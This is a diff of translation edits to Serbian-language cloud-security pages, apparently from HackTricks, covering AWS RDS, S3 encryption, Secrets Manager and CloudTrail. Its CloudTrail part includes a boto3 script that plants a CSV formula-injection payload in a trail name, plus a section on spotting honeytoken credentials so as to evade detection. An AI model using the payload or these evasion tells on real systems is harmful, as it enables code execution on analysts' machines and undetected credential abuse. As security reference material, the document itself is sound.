Tokom rotacije, Redshift će rotirati CEK za vaš klaster i za sve rezervne kopije tog klastera. Rotiraće DEK za klaster, ali nije moguće rotirati DEK za snimke pohranjene u S3 koje su enkriptovane koristeći DEK. Staviće klaster u stanje 'rotiranje ključeva' dok se proces ne završi kada će status ponovo biti 'dostupan'.
</details>
@@ -87,7 +87,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm
../aws-privilege-escalation/aws-redshift-privesc.md
{{#endref}}
## Persistencija
## Persistence
Sledeće akcije omogućavaju dodeljivanje pristupa drugim AWS nalozima klasteru:
@@ -4,13 +4,13 @@
## Osnovne informacije
**Relational Database Service (RDS)** koji nudi AWS je dizajniran da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatski obavlja radno intenzivne zadatke poput obezbeđivanja hardvera, konfiguracije baze podataka, zakrpa i rezervnih kopija.
**Relational Database Service (RDS)** koju nudi AWS je dizajnirana da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatski obavlja radno intenzivne zadatke poput obezbeđivanja hardvera, konfiguracije baze podataka, zakrpa i rezervnih kopija.
AWS RDS podržava različite široko korišćene motore relacijskih baza podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL.
AWS RDS podržava različite široko korišćene motore relacione baze podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL.
Ključne karakteristike RDS uključuju:
- **Upravljanje instancama baza podataka** je pojednostavljeno.
- **Upravljanje instancama baze podataka** je pojednostavljeno.
- Kreiranje **read replicas** za poboljšanje performansi čitanja.
- Konfiguracija **multi-Availability Zone (AZ) implementacija** za obezbeđivanje visoke dostupnosti i mehanizama prebacivanja.
- **Integracija** sa drugim AWS uslugama, kao što su:
@@ -20,9 +20,9 @@ Ključne karakteristike RDS uključuju:
## Akreditivi
Kada kreirate DB klaster, glavno **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete:
Kada se kreira DB klaster, master **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete:
- **Naznačiti** lozinku sami
- **Naznačiti** **lozinku** sami
- Reći RDS da je **automatski generiše**
- Reći RDS da je upravlja u **AWS Secret Manager** enkriptovano KMS ključem
@@ -30,13 +30,13 @@ Kada kreirate DB klaster, glavno **korisničko ime** može biti konfigurisano (*
### Autentifikacija
Postoje 3 vrste opcija autentifikacije, ali korišćenje **glavne lozinke je uvek dozvoljeno**:
Postoje 3 vrste opcija za autentifikaciju, ali korišćenje **master lozinke je uvek dozvoljeno**:
<figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
### Javni pristup i VPC
Po defaultu **nema javnog pristupa** bazama podataka, međutim, **može biti dodeljen**. Stoga, po defaultu samo mašine iz iste VPC će moći da mu pristupe ako izabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava.
Po defaultu **nema javnog pristupa** bazi podataka, međutim, **može biti odobren**. Stoga, po defaultu samo mašine iz iste VPC će moći da joj pristupe ako odabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava.
Umesto izlaganja DB instance, moguće je kreirati **RDS Proxy** koji **poboljšava** **skalabilnost** i **dostupnost** DB klastera.
@@ -49,17 +49,17 @@ Pored toga, **port baze podataka se takođe može modifikovati**.
Omogućavanjem vaše enkripcije, omogućavate **enkripciju u mirovanju za vašu skladištenje, snimke, read replicas i vaše rezervne kopije**. Ključevi za upravljanje ovom enkripcijom mogu biti izdati korišćenjem **KMS**.\
Nije moguće dodati ovaj nivo enkripcije nakon što je vaša baza podataka kreirana. **To mora biti učinjeno tokom njene kreacije**.
Međutim, postoji **rešenje koje vam omogućava da enkriptujete neenkriptovanu bazu podataka na sledeći način**. Možete kreirati snimak vaše neenkriptovane baze podataka, kreirati enkriptovanu kopiju tog snimka, koristiti taj enkriptovani snimak za kreiranje nove baze podataka, i na kraju, vaša baza podataka bi tada bila enkriptovana.
Međutim, postoji **rešenje koje vam omogućava da enkriptujete neenkriptovanu bazu podataka na sledeći način**. Možete kreirati snimak vaše neenkriptovane baze podataka, kreirati enkriptovanu kopiju tog snimka, koristiti tu enkriptovanu snimku za kreiranje nove baze podataka, i na kraju, vaša baza podataka bi tada bila enkriptovana.
#### Transparentna enkripcija podataka (TDE)
#### Transparent Data Encryption (TDE)
Pored mogućnosti enkripcije inherentnih RDS-u na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparentnu enkripciju podataka (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama.
Pored mogućnosti enkripcije inherentnih RDS-u na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparent Data Encryption (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama.
Da biste koristili TDE, potrebni su određeni preliminarni koraci:
1. **Asocijacija grupe opcija**:
1. **Asocijacija sa grupom opcija**:
- Baza podataka mora biti povezana sa grupom opcija. Grupe opcija služe kao kontejneri za podešavanja i funkcije, olakšavajući upravljanje bazom podataka, uključujući poboljšanja sigurnosti.
- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore baza podataka i verzije.
- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore i verzije baza podataka.
2. **Uključivanje TDE u grupu opcija**:
- Kada je povezana sa grupom opcija, opcija Oracle Transparent Data Encryption treba biti uključena u tu grupu.
- Važno je prepoznati da, kada se TDE opcija doda grupi opcija, postaje trajna i ne može se ukloniti.
@@ -123,7 +123,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
../aws-post-exploitation/aws-rds-post-exploitation.md
{{#endref}}
### Postojanost
### Perzistencija
{{#ref}}
../aws-persistence/aws-rds-persistence.md
@@ -10,7 +10,7 @@ Možete kreirati https, http i tcp **health checks za web stranice** putem Route
### IP-based routing <a href="#routing-policy-ipbased" id="routing-policy-ipbased"></a>
Ovo je korisno za podešavanje vašeg DNS rutiranja kako biste doneli najbolje DNS rutirajuće odluke za vaše krajnje korisnike.\
IP-based routing vam nudi dodatnu mogućnost da **optimizujete rutiranje na osnovu specifičnog znanja o vašoj bazi korisnika**.
IP-based routing vam nudi dodatnu mogućnost da **optimizujete rutiranje na osnovu specifičnog znanja o vašoj korisničkoj bazi**.
### Enumeration
```bash
@@ -4,11 +4,11 @@
## S3
Amazon S3 je usluga koja omogućava **čuvanje velikih količina podataka**.
Amazon S3 je usluga koja vam omogućava da **čuvate velike količine podataka**.
Amazon S3 pruža više opcija za postizanje **zaštite** podataka u mirovanju. Opcije uključuju **Dozvolu** (Politiku), **Enkripciju** (Klijentsku i Serversku stranu), **Verzionisanje kanti** i **MFA** **zasnovano brisanje**. **Korisnik može omogućiti** bilo koju od ovih opcija za postizanje zaštite podataka. **Replikacija podataka** je interna funkcija AWS-a gde **S3 automatski replicira svaki objekat širom svih dostupnih zona** i organizacija je ne mora omogućiti u ovom slučaju.
Sa dozvolama zasnovanim na resursima, možete definisati dozvole za poddirektorijume vaše kante odvojeno.
Sa dozvolama zasnovanim na resursima, možete odvojeno definisati dozvole za poddirektorijume vaše kante.
### Verzionisanje kanti i MFA zasnovano brisanje
@@ -18,15 +18,15 @@ Kada je verzionisanje kanti omogućeno, svaka akcija koja pokušava da izmeni da
### S3 pristupni logovi
Moguće je **omogućiti S3 pristupne logove** (koji su po defaultu onemogućeni) za neku kantu i sačuvati logove u drugoj kanti kako bi se znalo ko pristupa kanti (obe kante moraju biti u istoj regiji).
Moguće je **omogućiti S3 pristupne logove** (koji su po defaultu onemogućeni) za neku kantu i sačuvati logove u drugoj kanti kako biste znali ko pristupa kanti (obe kante moraju biti u istoj regiji).
### S3 Predpotpisani URL-ovi
### S3 Presigned URL-ovi
Moguće je generisati predpotpisani URL koji se obično može koristiti za **pristup određenoj datoteci** u kanti. **Predpotpisani URL izgleda ovako**:
Moguće je generisati presigned URL koji se obično može koristiti za **pristup određenoj datoteci** u kanti. **Presigned URL izgleda ovako**:
```
https://<bucket-name>.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa
```
A presigned URL can be **kreiran iz cli koristeći akreditive glavnog korisnika sa pristupom objektu** (ako nalog koji koristite nema pristup, biće kreiran kraći presigned URL, ali će biti beskoristan)
URL sa prethodnim potpisom može biti **napravljen iz cli koristeći akreditive subjekta koji ima pristup objektu** (ako nalog koji koristite nema pristup, biće kreirana kraća URL sa prethodnim potpisom, ali će biti beskorisna)
```bash
aws s3 presign --region <bucket-region> 's3://<bucket-name>/<file-name>'
```
@@ -53,11 +53,11 @@ ExpiresIn=3600
Ova opcija zahteva minimalnu konfiguraciju i svu upravu nad ključevima za enkripciju vrši AWS. Sve što treba da uradite je da **otpremite svoje podatke i S3 će se pobrinuti za sve ostale aspekte**. Svakom bucket-u u S3 nalogu dodeljuje se ključ bucket-a.
- Enkripcija:
- Podaci objekta + kreirani obični DEK --> Enkriptovani podaci (smešteni unutar S3)
- Kreirani obični DEK + S3 Master Key --> Enkriptovani DEK (smešten unutar S3) i običan tekst se briše iz memorije
- Podaci objekta + kreirani plaintext DEK --> Enkriptovani podaci (smešteni unutar S3)
- Kreirani plaintext DEK + S3 Master Key --> Enkriptovani DEK (smešten unutar S3) i plaintext se briše iz memorije
- Dekripcija:
- Enkriptovani DEK + S3 Master Key --> Obični DEK
- Obični DEK + Enkriptovani podaci --> Podaci objekta
- Enkriptovani DEK + S3 Master Key --> Plaintext DEK
- Plaintext DEK + Enkriptovani podaci --> Podaci objekta
Napomena: u ovom slučaju **ključ upravlja AWS** (rotacija samo svake 3 godine). Ako koristite svoj ključ, moći ćete da rotirate, onemogućite i primenite kontrolu pristupa.
@@ -71,8 +71,8 @@ Ova metoda omogućava S3 da koristi servis za upravljanje ključevima za generis
- Enkripcija:
- S3 zahteva ključeve podataka od KMS CMK
- KMS koristi CMK za generisanje para DEK običnog i DEK enkriptovanog i šalje ih S3
- S3 koristi obični ključ za enkripciju podataka, čuva enkriptovane podatke i enkriptovani ključ i briše iz memorije obični ključ
- KMS koristi CMK za generisanje para DEK plaintext i DEK enkriptovanog i šalje ih S3
- S3 koristi plaintext ključ za enkripciju podataka, čuva enkriptovane podatke i enkriptovani ključ i briše plaintext ključ iz memorije
- Dekripcija:
- S3 traži od KMS da dekriptuje enkriptovani ključ podataka objekta
- KMS dekriptuje ključ podataka sa CMK i vraća ga S3
@@ -84,16 +84,16 @@ Ova metoda omogućava S3 da koristi servis za upravljanje ključevima za generis
<summary><strong>Enkripcija na strani servera sa ključevima koje obezbeđuje korisnik, SSE-C</strong></summary>
Ova opcija vam daje priliku da obezbedite svoj vlastiti master ključ koji možda već koristite van AWS-a. Vaš ključ koji obezbeđuje korisnik biće zatim poslat sa vašim podacima u S3, gde će S3 izvršiti enkripciju za vas.
Ova opcija vam daje priliku da obezbedite svoj vlastiti master ključ koji možda već koristite van AWS-a. Vaš ključ koji obezbeđuje korisnik biće poslat sa vašim podacima u S3, gde će S3 izvršiti enkripciju za vas.
- Enkripcija:
- Korisnik šalje podatke objekta + Ključ korisnika u S3
- Ključ korisnika se koristi za enkripciju podataka i enkriptovani podaci se čuvaju
- takođe se čuva zasoljena HMAC vrednost ključa korisnika za buduću validaciju ključa
- takođe se čuva salted HMAC vrednost ključa korisnika za buduću validaciju ključa
- ključ korisnika se briše iz memorije
- Dekripcija:
- Korisnik šalje ključ korisnika
- Ključ se validira u odnosu na sačuvanu HMAC vrednost
- Ključ se validira u odnosu na HMAC vrednost koja je sačuvana
- Ključ koji obezbeđuje korisnik se zatim koristi za dekripciju podataka
</details>
@@ -106,12 +106,12 @@ Slično SSE-KMS, ovo takođe koristi servis za upravljanje ključevima za generi
- Enkripcija:
- Klijent zahteva ključ podataka od KMS
- KMS vraća obični DEK i enkriptovani DEK sa CMK
- KMS vraća plaintext DEK i enkriptovani DEK sa CMK
- Obe ključeve šalje nazad
- Klijent zatim enkriptuje podatke sa običnim DEK-om i šalje S3 enkriptovane podatke + enkriptovani DEK (koji se čuva kao metapodatak enkriptovanih podataka unutar S3)
- Klijent zatim enkriptuje podatke sa plaintext DEK i šalje S3 enkriptovane podatke + enkriptovani DEK (koji se čuva kao metapodatak enkriptovanih podataka unutar S3)
- Dekripcija:
- Enkriptovani podaci sa enkriptovanim DEK-om se šalju klijentu
- Klijent traži od KMS da dekriptuje enkriptovani ključ koristeći CMK, a KMS vraća obični DEK
- Enkriptovani podaci sa enkriptovanim DEK se šalju klijentu
- Klijent traži od KMS da dekriptuje enkriptovani ključ koristeći CMK i KMS vraća plaintext DEK
- Klijent sada može dekriptovati enkriptovane podatke
</details>
@@ -123,12 +123,12 @@ Slično SSE-KMS, ovo takođe koristi servis za upravljanje ključevima za generi
Korišćenjem ovog mehanizma, možete koristiti svoje obezbeđene ključeve i koristiti AWS-SDK klijent za enkripciju vaših podataka pre slanja u S3 na čuvanje.
- Enkripcija:
- Klijent generiše DEK i enkriptuje obične podatke
- Zatim, koristeći svoj prilagođeni CMK, enkriptuje DEK
- Klijent generiše DEK i enkriptuje plaintext podatke
- Zatim, koristeći svoj vlastiti prilagođeni CMK, enkriptuje DEK
- šalje enkriptovane podatke + enkriptovani DEK u S3 gde se čuva
- Dekripcija:
- S3 šalje enkriptovane podatke i DEK
- Kako klijent već ima CMK koji se koristi za enkripciju DEK-a, dekriptuje DEK i zatim koristi obični DEK za dekripciju podataka
- Kako klijent već ima CMK koji se koristi za enkripciju DEK, dekriptuje DEK i zatim koristi plaintext DEK za dekripciju podataka
</details>
@@ -250,13 +250,13 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite S3 dozvole za es
../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
{{#endref}}
### S3 Post Exploitation
### S3 Post Eksploatacija
{{#ref}}
../aws-post-exploitation/aws-s3-post-exploitation.md
{{#endref}}
### Persistencija
### Postojanost
{{#ref}}
../aws-persistence/aws-s3-persistence.md
@@ -274,11 +274,11 @@ Amazon Athena je interaktivna usluga za upite koja olakšava **analizu podataka*
Treba da **pripremite relacijsku DB tabelu** sa formatom sadržaja koji će se pojaviti u nadgledanim S3 bucket-ima. A zatim, Amazon Athena će moći da popuni DB iz logova, tako da možete da upitujete.
Amazon Athena podržava **mogućnost upita nad S3 podacima koji su već enkriptovani** i ako je tako konfigurisano, **Athena takođe može enkriptovati rezultate upita koji se zatim mogu skladištiti u S3**.
Amazon Athena podržava **mogućnost upita nad S3 podacima koji su već enkriptovani** i ako je konfigurisan da to uradi, **Athena takođe može enkriptovati rezultate upita koji se zatim mogu skladištiti u S3**.
**Ova enkripcija rezultata je nezavisna od osnovnih upitanih S3 podataka**, što znači da čak i ako S3 podaci nisu enkriptovani, upitani rezultati mogu biti enkriptovani. Par tačaka na koje treba obratiti pažnju je da Amazon Athena podržava samo podatke koji su **enkriptovani** sa **sledećim S3 metodama enkripcije**, **SSE-S3, SSE-KMS, i CSE-KMS**.
**Ova enkripcija rezultata je nezavisna od osnovnih upitanih S3 podataka**, što znači da čak i ako S3 podaci nisu enkriptovani, upitani rezultati mogu biti enkriptovani. Nekoliko tačaka na koje treba obratiti pažnju je da Amazon Athena podržava samo podatke koji su **enkriptovani** sa **sledećim S3 metodama enkripcije**, **SSE-S3, SSE-KMS, i CSE-KMS**.
SSE-C i CSE-E nisu podržani. Pored ovoga, važno je razumeti da će Amazon Athena izvršavati upite samo protiv **enkriptovanih objekata koji su u istoj regiji kao i sam upit**. Ako trebate da upitujete S3 podatke koji su enkriptovani koristeći KMS, tada su potrebne specifične dozvole korisnika Athene da im omoguće izvršavanje upita.
SSE-C i CSE-E nisu podržani. Pored ovoga, važno je razumeti da Amazon Athena može izvršavati upite samo nad **enkripovanim objektima koji su u istoj regiji kao i sam upit**. Ako trebate da upitujete S3 podatke koji su enkriptovani koristeći KMS, tada su potrebne specifične dozvole za Athena korisnika kako bi im omogućili izvršavanje upita.
### Enumeration
```bash
@@ -302,7 +302,7 @@ aws athena get-prepared-statement --statement-name <name> --work-group <wg-name>
# Run query
aws athena start-query-execution --query-string <query>
```
## Референце
## Reference
- [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3)
- [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html)
@@ -6,7 +6,7 @@
AWS Secrets Manager je dizajniran da **eliminira korišćenje hard-kodiranih tajni u aplikacijama zamenjujući ih API pozivom**. Ova usluga služi kao **centralizovani repozitorijum za sve vaše tajne**, osiguravajući da se njima upravlja uniformno kroz sve aplikacije.
Menadžer pojednostavljuje **proces rotacije tajni**, značajno poboljšavajući bezbednosni položaj osetljivih podataka kao što su kredencijali baze podataka. Pored toga, tajne kao što su API ključevi mogu se automatski rotirati uz integraciju lambda funkcija.
Menadžer pojednostavljuje **proces rotacije tajni**, značajno poboljšavajući bezbednosni položaj osetljivih podataka kao što su kredencijali za baze podataka. Pored toga, tajne poput API ključeva mogu se automatski rotirati integracijom lambda funkcija.
Pristup tajnama je strogo kontrolisan kroz detaljne IAM politike zasnovane na identitetu i politike zasnovane na resursima.
@@ -1 +1 @@
# AWS - Bezbednost i Detekcijske Usluge
# AWS - Bezbednost i Detekcione Usluge
@@ -4,7 +4,7 @@
## **CloudTrail**
AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža trag revizije promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih mera i osiguranje usklađenosti sa propisima.
AWS CloudTrail **beleži i prati aktivnosti unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža trag revizije promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih mera i osiguranje usklađenosti sa propisima.
Svaki zabeleženi događaj sadrži:
@@ -19,12 +19,12 @@ Svaki zabeleženi događaj sadrži:
- Parametri zahteva: `requestParameters`
- Elementi odgovora: `responseElements`
Događaji se upisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, čuvaju ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\
Događaji se zapisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\
CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\
CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio vama. Kreira SHA-256 hash logova unutar datoteke sa sažetkom. SHA-256 hash novih logova se kreira svake sat vremena.\
Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podatke ili uvid događaje.
CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar datoteke sa sažetkom. SHA-256 hash novih logova se kreira svake sat vremena.\
Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi.
Logovi se čuvaju u S3 kanti. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i svojim ključevima.
Logovi se čuvaju u S3 kanti. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima.
Logovi se čuvaju u **S3 kanti sa ovim formatom imena**:
@@ -53,7 +53,7 @@ Međutim, čak i ako možete sačuvati sve logove u istoj S3 kanti, ne možete a
> [!CAUTION]
> Zapamtite da nalog može imati **različite Trails** iz CloudTrail **omogućenih** koji čuvaju iste (ili različite) logove u različitim kantama.
### CloudTrail iz svih org naloga u 1
### Cloudtrail iz svih org naloga u 1
Kada kreirate CloudTrail, moguće je naznačiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 kantu:
@@ -70,20 +70,20 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
### Logs to CloudWatch
**CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.**\
Napomena: da bi CloudTrail mogao slati logove u CloudWatch, potrebno je kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:
Imajte na umu da je potrebno kreirati **ulogu** koja omogućava CloudTrail-u da šalje logove u CloudWatch. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:
- CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova
- PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream
### Event History
CloudTrail Event History omogućava vam da pregledate u tabeli logove koji su zabeleženi:
CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi:
![](<../../../../images/image (89).png>)
### Insights
**CloudTrail Insights** automatski **analizira** događaje upravljanja pisanjem iz CloudTrail tragova i **upozorava** vas na **neobične aktivnosti**. Na primer, ako dođe do povećanja `TerminateInstance` događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju **pronalazak i reagovanje na neobične API aktivnosti** kao nikada pre.
**CloudTrail Insights** automatski **analizira** write management događaje iz CloudTrail tragova i **upozorava** vas na **neobične aktivnosti**. Na primer, ako dođe do povećanja `TerminateInstance` događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju **pronalazak i reagovanje na neobične API aktivnosti** kao nikada pre.
Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
@@ -96,10 +96,10 @@ Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/A
## Access Advisor
AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova za prikupljanje svojih uvida**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja.
AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova kako bi prikupio svoje uvide**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja.
> [!TIP]
> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi administrator mogao da ih ukloni
> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi ih administrator mogao ukloniti
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
### **CSV Injection**
Moguće je izvršiti CVS injekciju unutar CloudTrail-a koja će izvršiti proizvoljan kod ako se logovi eksportuju u CSV i otvore u Excel-u.\
Sledeći kod će generisati log unos sa lošim imenom Trail koje sadrži payload:
Sledeći kod će generisati log unos sa lošim imenom Trail-a koje sadrži payload:
```python
import boto3
payload = "=cmd|'/C calc'|''"
@@ -136,13 +136,13 @@ S3BucketName="random"
)
print(response)
```
Za više informacija o CSV injekcijama, pogledajte stranicu:
Za više informacija o CSV injekcijama, proverite stranicu:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/formula-injection
{{#endref}}
Za više informacija o ovoj specifičnoj tehnici, pogledajte [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
Za više informacija o ovoj specifičnoj tehnici, proverite [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
## **Zaobilaženje detekcije**
@@ -155,7 +155,7 @@ Međutim, Honeytokens poput onih koje kreiraju [**Canarytokens**](https://canary
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ima neka pravila za detekciju da li ključ pripada [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
- Ako se **`canarytokens.org`** pojavljuje u imenu uloge ili se ID naloga **`534261010715`** pojavljuje u poruci o grešci.
- Testirajući ih nedavno, koriste nalog **`717712589309`** i još uvek ima string **`canarytokens.com`** u imenu.
- Testirajući ih nedavno, koriste nalog **`717712589309`** i još uvek imaju string **`canarytokens.com`** u imenu.
- Ako se **`SpaceCrab`** pojavljuje u imenu uloge u poruci o grešci
- **SpaceSiren** koristi **uuids** za generisanje korisničkih imena: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
- Ako **ime izgleda kao nasumično generisano**, postoji velika verovatnoća da je to HoneyToken.
@@ -181,26 +181,26 @@ return (e)
